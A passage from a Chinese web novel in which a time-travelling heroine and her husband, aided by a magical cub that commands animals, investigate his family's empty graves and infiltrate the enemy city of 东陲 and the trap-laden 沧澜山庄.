宁芷薇立刻会意,迅速收起所有工具。她的动作很快,但心跳却不受控制地加快了。 下一秒,秦远霄已经抱着她跃上了一棵大树。树冠茂密,很好地遮掩了他们的身形。 树下,几个穿着永安军服的人正往这边走来。他们神色匆匆,似乎在寻找什么。 宁芷薇屏住呼吸,大脑飞速运转——这些人为什么会出现在这里?是巧合,还是早有预谋? 一阵冷风吹过,树叶沙沙作响。宁芷薇感觉秦远霄的手臂收紧了几分,将她护在更安全的位置。 永安军士们在墓地转了一圈,交头接耳地说着什么。虽然听不清具体内容,但从他们的表情来看,似乎对墓地被人挖开感到很震惊。 “这里不能久留。”秦远霄在宁芷薇耳边低语,声音轻得几乎听不见,“等他们一走,我们就离开。” 宁芷薇点点头。她的大脑依然在飞速运转:永安军士的出现,墓中的无头尸骨,慢性中毒的痕迹......这一切似乎都在指向某个可怕的真相。 但现在不是思考这些的时候。当务之急是要安全离开,然后好好梳理今天发现的线索。 秦远霄站在树梢上,目光落在远处的几个人影上。微风拂过,带来一丝凉意,却驱散不了他沉重的心情。 那群人曾经都是跟着他混的,如今却只能远远地看着。树叶在风中轻轻摇曳,为他提供着天然的掩护,也让他能将那些熟悉的身影尽收眼底。 “好久没来祭拜秦家将军了。”一个身材魁梧的士兵停下脚步,声音中带着几分感慨。他摘下帽子,露出一头花白的短发。 “这也是没办法的事。”另一个瘦高个儿的士兵走到他身边,压低了声音说道,“上头盯得紧,要是被发现了,肯定又要大做文章。咱们能偷偷过来一趟,已经是冒了很大风险。” “可不是嘛。”第三个士兵插话道,一边说一边警惕地环顾四周,“现在这世道,连死人都不放过。” 宁芷薇站在秦远霄身旁,悄悄握住他的手。她能感受到他指尖的颤抖,那是压抑着强烈情感的表现。秦远霄的呼吸有些急促,但他依然保持着沉默。 几个士兵走到墓前,突然全都愣住了。原本整齐的墓地此时一片狼藉,墓碑上的字迹被人为损毁,周围的土地也有被翻动的痕迹。 “这...咋回事啊?”魁梧士兵指着眼前的坟墓,声音都在发抖,布满老茧的手紧紧攥成拳头。 “混账!”瘦高个儿怒骂一声,“秦门忠勇代代相传,怎么连死后都不得安宁?” “我听说九爷一家被流放到塞北去了。”一个年轻士兵蹲下身,开始收拾散落的祭品,“我想寻个良机去依附。九爷待我们不薄,现在他有难,我不能袖手旁观。” “可是九爷那边现在什么情况都不知道,我们贸然前去会不会添麻烦?”另一个士兵犹豫着说道,“要是被人发现了,反而会连累九爷。” “什么添麻烦!”魁梧士兵拍了拍年轻人的肩膀,“我们能干活挣钱,还能帮衬着点。九爷一个人要养活那么多人,哪里吃得消?再说了,咱们也不是吃白饭的。” 树上的秦远霄听到这些话,眼眶微微发红。他想开口,想告诉这些忠心耿耿的部下自己过得还不错,但宁芷薇及时捏了捏他的手,无声地提醒他现在不是时候。 宁芷薇看着那些士兵跪在地上,用手一点点填补着被人破坏的坟墓。有人摘来野花点缀,有人整理墓碑周围的杂草,还有人默默地擦拭着被污损的碑文。这一幕让她心里一阵酸涩,也更加理解为什么秦远霄会如此受部下爱戴。 等到士兵们离开,两人才从树上下来。秦远霄跪在父亲的坟前重重地磕了三个头,额头与地面相触,发出沉闷的响声。 “父亲,儿子冒犯了。” 他站起身,从随身携带的包裹中取出微型挖掘机。这是他特意准备的,为的就是确认一件事。宁芷薇站在一旁,看着他熟练地操控着仪器,小心翼翼地挖掘着。她能看出他的动作很克制,生怕惊扰了地下长眠的人。 挖掘的过程异常安静,只有机器运转的细微声响。宁芷薇注意到秦远霄的后背已经被汗水浸湿,但他始终保持着专注的状态,仿佛感觉不到疲惫。 一个小时后,DNA的检测结果令两人都震惊不已。 “这具遗骸不是父亲的。”宁芷薇看着检测报告,声音有些发颤。她反复确认了好几遍,但结果始终没有改变。 秦远霄站在原地,久久说不出话来。先是三位兄长的坟墓中没有尸骨,现在连父亲的坟中也是别人。这个发现让他心中升起一股寒意,所有的疑问都在脑海中翻涌。 到底什么情况?那些本该长眠于此的亲人究竟去了哪里? 宁芷薇走到他身边,轻轻抱住他的手臂。她能感受到秦远霄身体的僵硬,知道他此刻正在承受着巨大的打击。 “我们来都来了,不如先在东陲找找线索。”她轻声建议道,“也许能发现一些蛛丝马迹。” 秦远霄点点头,眼中闪过一丝痛楚。他小心地将坟墓恢复原状,确保不会留下任何痕迹。 第一百三十章 天色渐暗,俩人又重新捯饬了一遍。秦远霄又变成了那个留着络腮胡的丑汉子,这是他最常用的伪装。宁芷薇则换上了一身普通农妇的打扮,脸上还特意抹了些泥土。 山坡上,宁芷薇蹲在一处隐蔽的灌木丛后,仔细观察着远处的东陲城门。 东陲的入口处守卫森严,几队巡逻兵来回巡视,远处还有上千名士兵把守。最引人注目的是那支五十人的队伍,每人牵着一条凶悍的猎犬。这些猎犬训练有素,能轻易识破普通的伪装。 东陲的防守如铁桶般严密,即便是秦远霄这等高手,也难以在光天化日之下悄无声息地潜入。 “东陲人行事谨慎,战时尤其如此。”秦远霄低声解释,声音中带着几分了然,“他们最防备的就是探子混入。这些年来,不知道有多少人折在这道防线上。” 宁芷薇通过望远镜仔细观察着,心里暗暗盘算着该如何潜入。她注意到守卫们的换班时间,也发现了几处可能的薄弱环节。 宁芷薇收起望远镜,看了看渐暗的天色:“那我们今晚......” 话未说完,远处突然传来一阵喧哗声。守卫们的注意力被吸引过去,连带着那些猎犬也躁动起来。 “这些军犬才是最棘手的。”宁芷薇压低声音,眉头紧锁。那些军犬一个个体型健硕,毛发油亮,显然都是精心挑选出来的好手。 秦远霄点头表示赞同。他方才也用望远镜仔细观察过,那些军犬的警惕性极高,哪怕是一片树叶落地的声响,都逃不过它们的耳朵。 远处传来一阵犬吠声,打断了她的思绪。只见几只军犬突然躁动起来,朝着某个方向狂吠不止。守卫们立即警觉地握紧了武器,四处张望。 “若是强行闯入,必定会惊动整个东陲。”秦远霄低声道,眼中闪过一丝忧虑。他虽然武功高强,但也不敢贸然在众目睽睽之下硬闯。 宁芷薇暗自思忖,她与秦远霄两个大活人要想神不知鬼不觉地进城,恐怕比登天还难。她的手指无意识地摩挲着腰间的手雷,心想是否要制造些混乱。 “有商队来了。”秦远霄指着远处扬起的尘土说道。果然,不一会儿就看到一支商队缓缓向城门驶来。 宁芷薇仔细打量着那支商队。十几辆马车排成一列,车上堆满了货物,用油布严实地遮盖着。赶车的商人们穿着东陲特有的服饰,说话时还带着浓重的口音。 看着那些商人轻松通过盘查进城,宁芷薇心中突然灵光一闪。她正要开口,却见墨圆儿不知何时从界阙里钻了出来。 这小家伙大概是闷坏了,竟然跑出来凑热闹。它圆溜溜的眼睛好奇地打量着四周,小爪子还不安分地抓着宁芷薇的衣袖。 “墨圆儿,别乱动。”宁芷薇轻声呵斥,生怕它惊动了远处的军犬。 谁知这一声提醒反而让墨圆儿更加兴奋,它竟然站起身来,朝着军犬的方向发出了一声奇怪的叫声。 “嗷呜——” 这声音与以往听到的团子叫声截然不同,倒像是某种野兽的啸声。更令人惊讶的是,远处的军犬们突然安静下来,竟然齐刷刷地朝着这个方向竖起了耳朵。 秦远霄和宁芷薇面面相觑,都从对方眼中看到了震惊。他们虽然知道墨圆儿不是普通的小熊,但没想到它居然能影响那些训练有素的军犬。 “夫君,我有个主意。”宁芷薇眼睛一亮,凑到秦远霄耳边低语几句。 秦远霄听完后若有所思地点点头:“确实可行,不过还需要墨圆儿配合。” 宁芷薇轻轻抚摸着墨圆儿的头,柔声说道:“墨圆儿,你能帮我们指挥那些狗狗吗?” 墨圆儿歪着头看了看主人,又看了看远处的军犬,随后用力点了点头:“嗯!” 得到墨圆儿的肯定回答,宁芷薇心中大定。她迅速从界阙里取出一些东陲风格的衣物,这些都是她之前收集的。 “先换上这些衣服。”她将一套衣物递给秦远霄,自己也开始换装。 秦远霄很快就换好了衣服,他现在看起来就像个地道的东陲商人,连胡须都被宁芷薇用特制的假胡须贴得惟妙惟肖。 宁芷薇也换上了一身东陲女子的长裙,头上还戴着遮面的纱巾。她取出一辆马车,将必需品都装了进去。 “墨圆儿,现在就看你的了。”宁芷薇将小家伙抱在怀里,轻声说道。 墨圆儿这次没有犹豫,它挺起胸膛,朝着城门方向发出了一连串的低吼声。远处的军犬立即有了反应,它们开始躁动不安,有的甚至挣脱了士兵的控制,四处乱窜。 守卫们手忙脚乱地追赶军犬,城门口一时间乱作一团。就在这时,秦远霄驾着马车缓缓驶向城门。 “站住!”守卫拦下马车,例行检查。 秦远霄用着浓重的东陲口音解释道:“我们是从西域来的商人,运送些香料和布匹。” 守卫掀开车上的油布查看,见确实都是普通货物,又仔细检查了他们的路引,这才放行。 就在马车即将通过城门时,一只军犬突然朝这边跑来,吓得守卫们纷纷举起武器。但令所有人惊讶的是,那只军犬在靠近马车时突然停下,摇着尾巴转身离开了。 宁芷薇悄悄松了口气,她知道这是墨圆儿的功劳。此时小家伙正藏在货物中间,通过某种神秘的方式影响着那些军犬。 马车顺利进入东陲城内,秦远霄按照事先计划好的路线,向城中驶去。街道两旁的店铺林立,来往的行人络绎不绝,大都是东陲人的打扮。 “接下来去哪里?”宁芷薇小声问道。她知道秦远霄此行是为了寻找父兄的下落,但具体该从何处着手,还需要好好商议。 秦远霄环顾四周,压低声音说:“先找个驿馆住下,打探消息要紧。” 宁芷薇点点头,她注意到街边有几个身穿官服的人正在张贴告示,不少百姓围在那里议论纷纷。 “待会我去看看那告示上写了什么。”她轻声说道,同时将墨圆儿送回了界阙,以免引起不必要的注意。 秦远霄驾着马车在一家看起来较为普通的驿馆前停下。这家驿馆虽不起眼,但位置极好,正对着一条繁华的街道,打探消息最是方便。 “掌柜的,要间上房。”秦远霄用东陲口音说道。他故意选了间临街的房间,方便观察街上的动静。 安顿好后,宁芷薇趁着买东西的机会,来到那处张贴告示的地方。只见告示上写着近期将举办一场盛大的庆典,届时东陲各部落的首领都会齐聚一堂。 “这倒是个机会。”宁芷薇心中暗喜,急忙回去告诉秦远霄这个消息。 第一百三十一章 回到驿馆,她刚要开口,却见秦远霄正在和一个商人模样的人攀谈。那人说起话来滔滔不绝,看样子是个消息灵通的主。 “......听说这次庆典不一般,据说是为了庆祝东陲新得到的一批高手。”那商人压低声音说道,“不过具体是些什么人,倒是没人知道。” 秦远霄听到这里,眼中闪过一丝异色。他知道,父兄的下落或许就与这次庆典有关。 宁芷薇见状,轻轻拉了拉他的衣袖,示意他不要表现得太过明显。她知道秦远霄此时心急如焚,但越是这种时候越要保持冷静。 待那商人离开后,宁芷薇将自己看到的告示内容告诉了秦远霄。两人仔细分析了一番,决定先在城中多方打探消息,为参加庆典做准备。 夜幕降临,驿馆内渐渐热闹起来。酒菜的香气混合着说书人的唱词,充满了市井气息。秦远霄和宁芷薇借着用餐的机会,留心听着四周食客的谈话。 “这次的庆典,听说连西域的商人都来了不少......” “可不是嘛,城里这些天都住满了外地人......” “我听说啊,有些贵客已经提前到了,就住在城西的......” 零零碎碎的对话传入耳中,宁芷薇和秦远霄对视一眼,都从对方眼中看到了欣喜。他们终于找到了一些有用的线索。 回到房间后,宁芷薇取出一张城池地图,开始标注他们打听到的重要地点。而秦远霄则在窗边静静地望着夜色中的东陲城,不知在想些什么。 “夫君。”宁芷薇轻声唤道,“我们一定能找到他们的。” 秦远霄转过身来,眼中闪过一丝柔和:“有你在身边,我很安心。” 宁芷薇莞尔一笑,正要说话,突然听到外面传来一阵喧哗声。她起身走到窗边,只见街上有一队人马正在巡视,手中的火把照亮了漆黑的街道。 “看来这东陲城的防备当真森严。”宁芷薇低声说道,“我们接下来的行动要更加小心才是。” 秦远霄点点头,他知道要救出父兄绝非易事,但只要有一线希望,他就绝不会放弃。现在最重要的是保持耐心,等待最佳时机。 夜色渐深,东陲城陷入了沉睡。然而在这平静的表象下,暗流涌动。一场惊天的营救行动,即将在这座城池中上演。 宁芷薇将长发编成细密的小辫,一缕一缕地梳理着,动作轻柔而专注。她取出一顶绣着艳丽花朵的帽子,在镜前反复调整着角度,直到每一处细节都恰到好处。涂抹妆容时,她的手有些微微发抖,生怕哪里画得不够精致会露出破绽。 转身看向秦远霄时,她不由得愣了一下。他已换上东陲男子的服饰,往日里清冷淡漠的气质被刻意收敛,取而代之的是几分市井气息。 “这样看起来怎么样?”宁芷薇转了个圈,裙摆在空中划出一道优美的弧线。她的声音里带着几分紧张,眼睛一眨不眨地盯着秦远霄。 秦远霄目光在她身上仔细打量,从头到脚,又从脚到头。他微微蹙眉:“装扮是像了,但说话的语气还需要调整,东陲人说话都比较慢,音调也要拉得长一些。” 宁芷薇点点头,试着放慢语速:“这、样、是、不、是、更、像、了?” “过了。”秦远霄嘴角微微上扬,“自然一点就好。” 两人又互相检查了一遍对方的装扮,确认无误后才从界阙里出来。刚一现身,扑面而来的紧张氛围就让宁芷薇心头一紧。 街道上到处都是东陲士兵,三三两两结伴巡逻。那些凶猛的军犬被牵着,鼻子贴着地面四处嗅探。空气中弥漫着一股令人窒息的压抑感。 宁芷薇下意识地往秦远霄身边靠了靠,心跳不受控制地加快。要不是提前想到了这个办法,在这种戒严状态下,他们怕是澧州门都出不去。 “低着头走。”秦远霄的声音很轻,几乎是贴着她的耳朵说的。他伸手拉住宁芷薇,掌心传来的温度让她稍稍安心了些。 可没走出多远,一个牵着军犬的士兵就拦在了他们面前。那军犬龇着牙,发出低沉的咆哮声。 “站住!”士兵凶神恶煞地瞪着他们,“你们有没有见过两个永安人?一男一女,刚才往这边跑了。” 秦远霄立刻弯下腰,用结结巴巴的东陲方言回答:“没...没看见啊。我们、我们刚从家里出来...” 宁芷薇配合地往秦远霄身后躲,肩膀微微发抖,做出一副被吓坏的样子。她能感觉到那只军犬正在他们周围转圈,不由得捏紧了秦远霄的衣角。 士兵狐疑地打量着他们,目光在两人脸上来回扫视。那几秒钟对宁芷薇来说漫长得像是一个世纪。 终于,士兵不耐烦地挥了挥手:“滚吧!” 两人连忙快步离开,一路上又遇到好几次盘查。每一次宁芷薇都觉得心都要跳出嗓子眼,但秦远霄应对得越来越自然,总能找到合适的理由蒙混过关。 走到军营附近时,检查更加严格。秦远霄编了个要去澧州探亲的说辞,又掏出提前准备好的文书。那些字迹歪歪扭扭,看起来就像是乡下人求人代写的。 守卫仔细检查了文书,又问了几个问题,这才放他们通过。直到走出守卫的视线,宁芷薇才敢长出一口气。 出了城后,两人找了个偏僻的角落取出大G。夜色已深,官道上空无一人,只有虫鸣声此起彼伏。 车内很安静,只有发动机的轰鸣声。宁芷薇偷偷瞄了秦远霄几眼,自从发现父兄的坟墓是空的,他就一直心事重重。那双总是清亮的眼睛此刻蒙上了一层阴霾,眉头也始终紧锁着。 “要不要休息一下?”宁芷薇轻声问,“你开了这么久的车...” 秦远霄摇摇头,目光依旧直视前方:“不用,我想快点到沧澜山庄看看。” 宁芷薇张了张嘴,最终还是没说什么。她知道此刻的安静对秦远霄来说可能更重要。 天还没亮,他们就到了京城郊外。两人换上村民的装扮,背着装满野菜的竹篓,装作上山采药的样子。山路崎岖难行,宁芷薇好几次差点摔倒,都被秦远霄及时扶住。 找到三哥说的那个幽谷时,宁芷薇不由得皱起眉头。这洞口被茂密的藤蔓遮掩着,若不是提前知道位置,打着火把从这里经过都未必能发现。 第一百三十二章 宁芷薇望着前方幽深的幽谷,眉头不自觉地皱起。洞口阴森潮湿,不时传来令人毛骨悚然的“嘶嘶”声,那是蛇群游动时发出的声响。她下意识地后退半步,手指无意识地摩挲着衣角。 “小心点。”秦远霄打开手电筒,握住宁芷薇的手往里走。 洞内阴冷潮湿,空气中弥漫着一股腐朽的气息。宁芷薇总觉得有种说不出的怪异感,仿佛有无数双眼睛在暗处窥视着他们。这种感觉越往里走越强烈,让她不由得打了个寒颤。 突然,前方传来细微的“嘶嘶”声。 “等等。”秦远霄猛地停下脚步,手电筒的光束在四周扫视,“是蛇的声音。” 宁芷薇也听出来了,而且从声音判断,数量绝不在少数。这么多蛇聚集在一起,绝不是偶然。她的心跳开始加速,后背渗出冷汗。 “先进界阙。”她拉住秦远霄的手,两人瞬间消失在原地。 在界阙里,宁芷薇一边调息恢复体力,一边思考对策。她记得在一本古籍上看过,雄黄对蛇有很强的驱赶作用。 “我们可以试试用雄黄,”她说着翻找起背包,“如果数量不是太多的话,应该能把它们驱散。” 秦远霄点点头,但眉头依旧紧锁:“我总觉得这些蛇不太对劲,像是被人故意安排在这里的。” 宁芷薇也有同感:“会不会是有人不想让我们发现什么?” 四目相对默契一笑,都从对方眼中看到了凝重。这个幽谷里,或许藏着比他们想象中更危险的秘密。 山风呼啸而过,带着潮湿的泥土气息。宁芷薇深吸一口气,努力平复内心的不安。她轻抚怀中的墨圆儿,这个小家伙总能给她意想不到的惊喜。它不仅能操控兔子和界阙里的牛羊,就连那些训练有素的军犬也能指挥自如。 “不知道你能不能让这些毒蛇也乖乖听话呢?”她低声呢喃,目光落在洞口若隐若现的蛇影上。 话音刚落,墨圆儿就察觉到了主人的存在。它摇摇晃晃地朝她跑来,圆滚滚的身子一颠一颠的,步伐显得格外笨拙可爱。 “哎呀,慢点跑。”宁芷薇看着小家伙迫不及待往自己怀里钻的模样,心都要化了。她蹲下身,将墨圆儿抱起,“来,让姐姐抱抱。” 墨圆儿在她怀里蹭来蹭去,毛茸茸的触感让人心情不自觉地放松。宁芷薇将它举高,在它软乎乎的脸蛋上亲了一口,换来小家伙一声欢快的叫声。 准备好玉露浆后,她看着墨圆儿津津有味地喝着,轻声问道:“小馋猫,吃饱了吗?姐姐想请你帮个忙。” 墨圆儿抬起头,发出一声软糯的“嗯”,奶渍沾在它的嘴边,显得格外可爱。 “外面有很多蛇,你觉得能搞定它们吗?”宁芷薇轻轻擦去它嘴边的奶渍。 又是一声坚定的“嗯”。 宁芷薇忍不住笑了,这小家伙的反应总是这么可爱。她又揉了揉墨圆儿的小脑袋:“那我们休息一会儿再出去,让你养足精神。” 竹林里,微风轻拂,竹叶沙沙作响。墨圆儿在林间追逐着飞舞的蝴蝶,时不时发出欢快的叫声。宁芷薇和秦远霄简单用过餐,准备小憩片刻。 然而这一觉,却直接睡到了下午。阳光透过竹叶的缝隙洒落,在地上投下斑驳的光影。 整理妥当后,三人再次来到幽谷前。蛇群的声音依旧不绝于耳,甚至比之前更加密集。洞口处,几条毒蛇吐着信子,警惕地注视着他们。 “宝贝,听到了吗?”宁芷薇轻声问道,手指不自觉地收紧。 墨圆儿刚发出一声“嗯”,蛇群就有了动静。数不清的蛇从洞内游出,朝他们逼近。阳光下,蛇鳞闪烁着冰冷的光芒。 宁芷薇心里紧张,但面上不显。她特意没有撒雄黄粉,就是想试试墨圆儿的本事。但看着那密密麻麻的蛇群,她的手心还是不自觉地冒出了冷汗。 眼看蛇群越来越近,墨圆儿突然发出一声狼嚎,声音在山谷中回荡。那些蛇竟然全都停下了动作,仿佛被施了定身咒一般。 密密麻麻的蛇群,目测有上千条之多。各种花纹的蛇交织在一起,组成了一幅令人心悸的画面。这场面,若不是宁芷薇定力够强,怕是早就被吓退了。 她暗自思忖,沧澜山庄的人定是因为三哥的造访,才布下这样的防御。这些蛇群恐怕只是第一道关卡而已。 墨圆儿又是一声吼叫,声音中带着不容置疑的威严。那些蛇竟然整齐列队,昂首吐信,如同受训的军队一般。 “我们的墨圆儿真棒!”宁芷薇忍不住又在它额头上亲了一口,心中的紧张感终于缓解了几分。 小家伙得意地手舞足蹈,往她怀里钻,一副邀功的模样。它圆溜溜的眼睛闪着得意的光芒,似乎在说:“看吧,我厉害吧?” “好了好了,现在让它们跟着我们,等出了幽谷再解散。”宁芷薇轻抚着墨圆儿的背,安抚着这个得意忘形的小家伙。 墨圆儿对着蛇群做了几个鬼脸,又发出几声叫唤。蛇群立即分列两旁,为他们让出一条路。蛇群整齐的队形,让人不禁想起军队阅兵时的场景。 穿过蛇群时,宁芷薇能清晰地感受到那些冰冷生物的气息。虽然它们现在已经被驯服,但那与生俱来的危险气息依旧让人不寒而栗。 幽谷内阴暗潮湿,墙壁上爬满了青苔。脚下时不时传来细碎的声响,不知是水滴落地还是小动物窜过。宁芷薇紧跟着秦远霄,生怕一个不小心就会踩到什么不该踩的东西。 终于出了幽谷,眼前是一片原始森林。高大的树木遮天蔽日,枝叶交错,阳光只能零星地透过缝隙洒落。虽然看似人迹罕至,但两人都不敢掉以轻心。 宁芷薇将墨圆儿送回界阙,又取出雄黄粉撒在两人身上。这是防蛇的必需品,虽然有墨圆儿在,但小心驶得万年船。 按三哥所说,穿过这片丛林就是沧澜山庄。既然遇到了蛇群,想必路上还会有其他陷阱。她不由得提高了警惕,仔细观察着周围的环境。 深入丛林后,前方突然出现一片花海。各色野花竞相绽放,美则美矣,但花海上空盘旋着无数马蜂,嗡嗡的声响不绝于耳。 第一百三十三章 宁芷薇本想用随身携带的杀虫剂,但看到有鸟儿在捕食马蜂,她灵机一动,又把墨圆儿唤了出来。 小家伙被从睡梦中唤醒,揉着眼睛,一脸不高兴地撒娇。它蜷缩在宁芷薇怀里,发出不满的咕噜声。 “乖,帮姐姐个忙好不好?”宁芷薇轻拍它的背,柔声哄道,“就这一次。” 一听有任务,墨圆儿立刻来了精神。它抖了抖毛,站直身子,一副准备大显身手的模样。 “能不能把附近的鸟儿都叫来吃掉这些马蜂?”宁芷薇指着空中盘旋的马蜂群。 墨圆儿眨眨眼,似乎在思考。随后,它仰头发出一声长啸,声音在林间回荡。 霎时间,林中响起此起彼伏的鸟鸣声。无数飞鸟从四面八方赶来,有喜鹊、麻雀、燕子等等。它们将马蜂群团团包围,展开了一场空中的追逐战。 马蜂发出愤怒的嗡嗡声,试图反击,但在数量众多的鸟群面前,它们显得势单力薄。 五分钟后,花海上空恢复平静,马蜂消失无踪,鸟儿也各自散去。只有几片羽毛随风飘落,证明刚才的一切并非幻觉。 墨圆儿像个邀功的小孩子一样,蹭着宁芷薇的脖子撒娇,毛茸茸的小脑袋不停地蹭着她的下巴,发出咕噜咕噜的满足声。 “好啦好啦,知道你立功了。”宁芷薇轻笑着,手指穿过墨圆儿柔软的皮毛,感受着它身上传来的温暖。她随手将准备好的奶、竹笋和水果一并放进界阙,看着小家伙欢快地奔向食物的背影,目光中满是宠溺。 夕阳的余晖洒在花海上,将整片天空染成了橘红色。微风拂过,带来阵阵花香,却也让人心生警惕。 “真没想到,墨圆儿竟然这么厉害。”秦远霄站在宁芷薇身边,声音里带着惊讶,“它不仅能探查周围的危险,还能预知即将发生的事情。” “是啊。”宁芷薇笑了笑,心想这大概是穿越大神给她的福利。她抬头望向远处若隐若现的建筑轮廓,眼神逐渐变得凝重。 穿过花海,沧澜山庄的全貌渐渐显露。这座曾经富丽堂皇的庄园此刻显得格外荒凉,藤蔓爬满了斑驳的围墙,庭院里杂草丛生,处处透着衰败的气息。 宁芷薇注意到秦远霄的表情变得异常严肃。他的眉头紧锁,目光中闪烁着复杂的情绪。她能理解他的心情,如果这里真的与秦家满门的惨案有关,那他失踪的亲人很可能就在这里。 “我们得等天黑再行动。”秦远霄低声说道,“白天进去太危险了。” 宁芷薇点点头,从界阙里取出望远镜,仔细观察着山庄的布局。“我先用无人机侦查一下周围的情况。” 随着天色渐暗,她操控着无人机在空中盘旋。从上空看,这确实像个荒废多年的庄子,看不出任何异常。但经验告诉她,越是平静的表象下,往往隐藏着最大的危机。 “发现什么异常了吗?”秦远霄问道,他的声音很轻,却带着一丝紧张。 宁芷薇摇摇头:“表面上看起来很正常,但是...”她指着画面中的一处,“你看这里,地面的痕迹显示最近有人活动过。” 秦远霄眯起眼睛仔细观察:“确实。而且这些痕迹很有规律,像是在巡逻。” 夜幕完全降临后,两人才开始行动。月光被乌云遮挡,四周一片漆黑。宁芷薇跟在秦远霄身后,小心翼翼地避开地上的枯枝落叶。 “那口枯井应该在后院。”秦远霄压低声音说道,“根据族谱记载,那里可能藏着重要的线索。” 穿过荒芜的庭院,两人躲避着可能存在的监视,终于来到了后院。秦远霄的耳力惊人,每走几步就会停下来仔细聆听周围的动静。 一阵冷风吹过,带着潮湿的泥土气息。宁芷薇突然感觉脚下一滑,差点摔倒。秦远霄及时扶住了她,他的手掌温暖而有力。 “小心,地上有青苔。”他轻声提醒。 借着微弱的月光,他们终于找到了那口枯井。井口被杂草遮掩,看起来平平无奇,但周围的地面却异常平整,明显是人为清理过的。 宁芷薇刚要拿出手电筒查看,突然被秦远霄一把拉住。“小心!” 几支箭矢从井底呼啸而出,擦着他们的衣角飞过,钉在后面的树干上。宁芷薇倒吸一口冷气,如果不是秦远霄反应快,她现在恐怕已经中箭了。 “这井里有机关。”她心有余悸地说道。 “你刚才碰到哪里了?”秦远霄神色凝重,目光在井口周围来回扫视。 宁芷薇仔细回想:“应该是脚下。”她指着井口边缘的一块地面。 秦远霄立即将她护在身后,自己蹲下来仔细查看地面。他的手指轻轻触碰着土地,很快就发现了异常。“这里的土质不一样,”他说着,用力挖了几下,“下面有东西。” 两人合力挖开表层的泥土,露出一个精巧的铁质机关。机关的构造复杂,由数根铜线和弹簧组成,稍有触动就会引发机关。 “这种机关我见过,”秦远霄说,“东陲皇宫的国库就用过类似的。能做出这种机关的人,一定精通机关术。” 宁芷薇急切地问:“能解开吗?” 秦远霄没有立即回答,而是仔细研究着机关的结构。他的眉头越皱越紧,额头上渗出细密的汗珠。“需要一把锋利的剪刀,”他最后说道,“要把这些铜线按特定顺序剪断。” 宁芷薇立刻从界阙里取出一把专业剪铁剪。看着秦远霄小心翼翼地操作,她的心也跟着悬了起来。 随着最后一根铜线被剪断,井底传来一阵金属碰撞声。紧接着,几只怪异的飞虫冲了出来,在月光下泛着诡异的光泽。 秦远霄抱着宁芷薇快速后退,而她已经拿出杀虫剂对准飞虫喷射。那些飞虫在药剂的作用下很快掉落在地,抽搐几下就不动了。 确认安全后,两人重新来到井边。手电筒的光束照进深井,露出令人心惊的景象。井壁上镶嵌着突出的石块,形成了一条向下的路径。井底堆着数十支箭矢和匕首,锋利的尖端在灯光下闪着寒光。 最令人不安的是,几只体型巨大、浑身布满彩色花纹的蛤蟆蹲在井底的角落里,眼睛反射着诡异的光芒。 “那是什么?”宁芷薇问道,她从未见过这种生物。 “玉斑蛙,”秦远霄的声音变得更加凝重,“东陲最毒的生物之一,它们的血液是制毒的上等材料。普通人碰到它们的皮肤就会中毒。” 第一百三十四章 宁芷薇心里一沉。这个沧澜山庄的秘密,恐怕比他们想象的还要可怕。她看向秦远霄,发现他的脸色变得异常苍白。 “怎么了?”她担心地问。 秦远霄深吸一口气:“这些玉斑蛙,是东陲皇室专门培育的品种。只有皇室才有资格饲养。”他的声音有些发抖,“这说明,当年害我秦家满门的人,很可能就是...” 他的话没说完,但宁芷薇已经明白了他的意思。如果真是这样,那他们面对的敌人将会是整个东陲皇室。 宁芷薇的脑海中闪过一丝熟悉感,她微微蹙眉,手指无意识地摩挲着腰间的香囊。玉斑蛙,这个名字在她购买的那本古今毒术典籍中似乎出现过。 潮湿的空气中弥漫着淡淡的腥味,她站在井边,目光穿透层层阴影,落在那些斑斓的身影上。井底的玉斑蛙正悠闲地吐着泡泡,丝毫不知危险正在临近。 “这倒是个意外之喜。”她轻声呢喃,眼中闪过一丝若有所思的光芒。 记忆如潮水般涌来,典籍上那些密密麻麻的文字在她脑海中渐渐清晰。这种奇特的两栖动物不仅能用来配制假死药,其血液更是上等迷药的主料。最重要的是,它们天生带毒,却又能以毒攻毒。 微风拂过她的发梢,带来一丝凉意。宁芷薇不自觉地裹紧了外衣,目光却始终没有离开那些玉斑蛙。 “以毒攻毒,倒真是个有趣的物种。”她若有所思地说道,声音轻得几乎要被风吹散。 秦远霄站在一旁,神色凝重:“这些生物不简单,能在这种地方存活下来的,必然有其特殊之处。” 宁芷薇点头认同,她想起典籍中的记载,这种生物偏爱阴暗潮湿的环境,以毒蛇蝎子为食,本身的毒性更是惊人。若是一不小心被其毒液沾染,轻则全身麻痹,重则丧命当场。 “它们的毒性虽然可怕,但若能好好利用...”她的声音渐渐低了下去,眼中闪过一抹精光。 一个大胆的想法在她心中升起——若能将这些玉斑蛙收为己用,日后说不定能派上大用场。想到这里,她立即从界阙中取出一个铁笼,准备将这群玉斑蛙一网打尽。 但眼下的情况并不容乐观,她站在井口,与那群玉斑蛙之间隔着一段不小的距离。井壁湿滑,稍有不慎就可能滑落。更何况,这些生物浑身是毒,贸然接近无异于自寻死路。 “直接下去抓显然不行。”她皱眉思索着,手指无意识地敲打着井沿。 就在这时,怀中的墨圆儿动了动,发出轻微的呜咽声。宁芷薇低头看向这个小家伙,眼睛突然一亮:“有你在,这事就好办多了。” 墨圆儿似乎听懂了她的话,欢快地摇了摇尾巴。它那双明亮的眼睛中闪烁着兴奋的光芒,仿佛早就等待这一刻了。 果不其然,墨圆儿一出马,那群玉斑蛙竟乖乖听从它的号令,顺着井壁爬上来,自动钻进了铁笼。这一幕让秦远霄都忍不住挑了挑眉,显然没想到事情会如此顺利。 看到墨圆儿想凑近查看那些玉斑蛙,宁芷薇连忙将它送入界阙:“别贪玩,这些家伙可不是好相与的。”她的语气中带着几分宠溺,却也透着不容置疑的严厉。 为防意外,她又买了个大箱子将装有玉斑蛙的铁笼锁了起来。这些生物虽然现在看起来温顺,但谁知道它们会不会突然暴起伤人。 重复赘述 正当她准备进入界阙安抚墨圆儿时,井下突然传来了急促的脚步声,紧接着是一个焦急的声音:“师兄,不好了,玉斑蛙全都不见了!” 宁芷薇与秦远霄对视一眼,两人迅速躲到附近的一棵大树后。树干粗壮,足以遮掩他们的身形,但落叶的沙沙声却让人心生不安。 “是墨圆儿刚才的叫声把人引出来了。”宁芷薇低声说道,语气中带着一丝自责。 秦远霄却摇了摇头:“也好,至少证实了井下确实有人。”他的声音很轻,却透着一股沉稳。 很快,一高一矮两个中年男子从井中爬出。高个子的脸上带着几分阴鸷,而矮个子则显得有些慌乱。 